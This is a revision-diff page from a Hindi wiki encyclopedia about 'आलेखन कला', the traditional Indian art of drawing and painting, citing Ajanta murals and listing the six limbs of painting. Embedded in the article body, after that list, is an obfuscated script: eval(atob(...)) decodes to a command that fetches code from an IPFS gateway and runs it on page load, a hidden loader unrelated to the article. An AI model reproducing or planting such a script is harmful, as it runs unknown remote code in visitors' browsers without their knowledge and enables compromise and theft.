"आलेखन कला" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
पंक्ति 1: पंक्ति 1:
[[चौंसठ कलाएँ जयमंगल के मतानुसार|जयमंगल के मतानुसार]] चौंसठ कलाओं में से यह एक कला है। चित्रों का आलेखन 'कला' है। प्राचीन चित्रों को देखने से प्रमाणित होता है कि यह कला [[भारत]] में किस उच्चकोटि तक पहुँची हुई थी। प्राचीन मन्दिर और [[बौद्ध]] विहारों की मूर्तियों और [[अजंता की गुफ़ाएँ|अजन्ता]] आदि गुफ़ाओं के चित्रों को देखकर आश्चर्य होता है। आज कई शताब्दियों के व्यतीत हो जाने पर भी वे ज्यों-के-ज्यों दिखलायी पड़ते हैं। उनके रंग ऐसे दिखलायी पड़ते हैं कि जैसे अभी कारीगर ने उनका निर्माणकार्य समाप्त किया हो। प्रत्येक वर्ष हज़ारों विदेशी यात्री उन्हें देखने के लिये दूर-दूर से आते रहते हैं। प्रयत्न करने पर भी वैसे रंगों का आविष्कार अब तक नहीं हो सका है। यह कला इतनी व्यापक थी कि देश के हर एक कोने में घर-घर में इसका प्रचार था। अब भी घरों के द्वार पर [[गणेश]] जी आदि के चित्र बनाने की चाल प्राय: सर्वत्र देखी जाती है कई सामाजिक उत्सवों के अवसरों पर स्त्रियाँ दीवाल और ज़मीन पर चित्र लिखती हैं। प्राचीन काल में [[भारत]] की स्त्रियाँ इस कला में बहुत निपुण होती थीं। [[बाणासुर]] की कन्या [[उषा]] की सखी चित्रलेखा इस कला में बड़ी सिद्धहस्त थी। वह एक बार देखे हुए व्यक्ति का बाद में हूबहू चित्र बना सकती थी। [[चित्रकला]] के 6 अंग हैं-  
+
[[चित्र:Ajanta-Caves-1.jpg|thumb|[[अजंता की गुफ़ाएं]], [[औरंगाबाद महाराष्ट्र|औरंगाबाद]]]]
 +
[[चौंसठ कलाएँ जयमंगल के मतानुसार|जयमंगल के मतानुसार]] [[चौंसठ कलाएँ|चौंसठ कलाओं]] में से यह एक [[कला]] है। चित्रों का आलेखन 'कला' है। प्राचीन चित्रों को देखने से प्रमाणित होता है कि यह कला [[भारत]] में किस उच्चकोटि तक पहुँची हुई थी। प्राचीन मन्दिर और [[बौद्ध]] विहारों की मूर्तियों और [[अजंता की गुफ़ाएँ|अजन्ता]] आदि गुफ़ाओं के चित्रों को देखकर आश्चर्य होता है। आज कई शताब्दियों के व्यतीत हो जाने पर भी वे ज्यों-के-ज्यों दिखलायी पड़ते हैं। उनके [[रंग]] ऐसे दिखलायी पड़ते हैं कि जैसे अभी कारीगर ने उनका निर्माणकार्य समाप्त किया हो। प्रत्येक वर्ष हज़ारों विदेशी यात्री उन्हें देखने के लिये दूर-दूर से आते रहते हैं। प्रयत्न करने पर भी वैसे रंगों का आविष्कार अब तक नहीं हो सका है। यह कला इतनी व्यापक थी कि देश के हर एक कोने में घर-घर में इसका प्रचार था। अब भी घरों के द्वार पर [[गणेश]] जी आदि के चित्र बनाने की चाल प्राय: सर्वत्र देखी जाती है कई सामाजिक उत्सवों के अवसरों पर स्त्रियाँ दीवाल और ज़मीन पर चित्र लिखती हैं। प्राचीन काल में [[भारत]] की स्त्रियाँ इस कला में बहुत निपुण होती थीं। [[बाणासुर]] की कन्या [[उषा]] की सखी चित्रलेखा इस कला में बड़ी सिद्धहस्त थी। वह एक बार देखे हुए व्यक्ति का बाद में हूबहू चित्र बना सकती थी। [[चित्रकला]] के 6 अंग हैं-  
 
#रूपभेद (रंगों की मिलावट)
 
#रूपभेद (रंगों की मिलावट)
 
#प्रमाण (चित्र में दूरी, गहराई आदि का दिखलाना और चित्रगत वस्तु के अंगों का अनुपात)
 
#प्रमाण (चित्र में दूरी, गहराई आदि का दिखलाना और चित्रगत वस्तु के अंगों का अनुपात)
पंक्ति 14: पंक्ति 15:
 
|शोध=
 
|शोध=
 
}}
 
}}
 
+
==वीथिका==
 +
<gallery>
 +
चित्र:krishna-birth.jpg|[[कृष्ण]] जन्म [[वसुदेव]], कृष्ण को [[कंस]] के कारागार [[मथुरा]] से [[गोकुल]] ले जाते हुए, द्वारा- [[राजा रवि वर्मा]]
 +
चित्र:Bhimbetka-Caves-Bhopal-1.jpg|[[भीमबेटका गुफ़ाएँ भोपाल|भीमबेटका गुफ़ाएँ]], [[भोपाल]]
 +
चित्र:krishna-parents.jpg|[[कृष्ण]]-[[बलराम]], [[देवकी]]-[[वसुदेव]] से मिलते हुए, द्वारा- [[राजा रवि वर्मा]]
 +
चित्र:Radha-Krishna.jpg|[[राधा]]-[[कृष्ण]], द्वारा- [[राजा रवि वर्मा]]
 +
चित्र:Deer-Bhimbetka-Caves-Bhopal.jpg|हिरण का [[लाल रंग|लाल]] और गेरू [[रंग]] का चित्र, [[भीमबेटका गुफ़ाएँ भोपाल|भीमबेटका गुफ़ाएँ]], [[भोपाल]]
 +
चित्र:maharas.jpg|'जमुना' (गोपियों के साथ कृष्ण), द्वारा- [[राजा रवि वर्मा]]
 +
</gallery>
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{चौंसठ कलाएँ जयमंगल}}
 
{{चौंसठ कलाएँ जयमंगल}}
 
[[Category:चौंसठ कलाएँ]]
 
[[Category:चौंसठ कलाएँ]]
 
[[Category:कला_कोश]]__INDEX__
 
[[Category:कला_कोश]]__INDEX__

09:28, 28 अगस्त 2011 का अवतरण

जयमंगल के मतानुसार चौंसठ कलाओं में से यह एक कला है। चित्रों का आलेखन 'कला' है। प्राचीन चित्रों को देखने से प्रमाणित होता है कि यह कला भारत में किस उच्चकोटि तक पहुँची हुई थी। प्राचीन मन्दिर और बौद्ध विहारों की मूर्तियों और अजन्ता आदि गुफ़ाओं के चित्रों को देखकर आश्चर्य होता है। आज कई शताब्दियों के व्यतीत हो जाने पर भी वे ज्यों-के-ज्यों दिखलायी पड़ते हैं। उनके रंग ऐसे दिखलायी पड़ते हैं कि जैसे अभी कारीगर ने उनका निर्माणकार्य समाप्त किया हो। प्रत्येक वर्ष हज़ारों विदेशी यात्री उन्हें देखने के लिये दूर-दूर से आते रहते हैं। प्रयत्न करने पर भी वैसे रंगों का आविष्कार अब तक नहीं हो सका है। यह कला इतनी व्यापक थी कि देश के हर एक कोने में घर-घर में इसका प्रचार था। अब भी घरों के द्वार पर गणेश जी आदि के चित्र बनाने की चाल प्राय: सर्वत्र देखी जाती है कई सामाजिक उत्सवों के अवसरों पर स्त्रियाँ दीवाल और ज़मीन पर चित्र लिखती हैं। प्राचीन काल में भारत की स्त्रियाँ इस कला में बहुत निपुण होती थीं। बाणासुर की कन्या उषा की सखी चित्रलेखा इस कला में बड़ी सिद्धहस्त थी। वह एक बार देखे हुए व्यक्ति का बाद में हूबहू चित्र बना सकती थी। चित्रकला के 6 अंग हैं-

  1. रूपभेद (रंगों की मिलावट)
  2. प्रमाण (चित्र में दूरी, गहराई आदि का दिखलाना और चित्रगत वस्तु के अंगों का अनुपात)
  3. भाव और लावण्य की योजना
  4. सादृश्य
  5. वर्णिका (रंगों का सामंजस्य)
  6. भंग (रचना-कौशल)। 'समरागंणसूत्रधार' आदि प्राचीन शिल्पग्रन्थों में इस कला का विशदरूप से विवरण उपलब्ध होता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

संबंधित लेख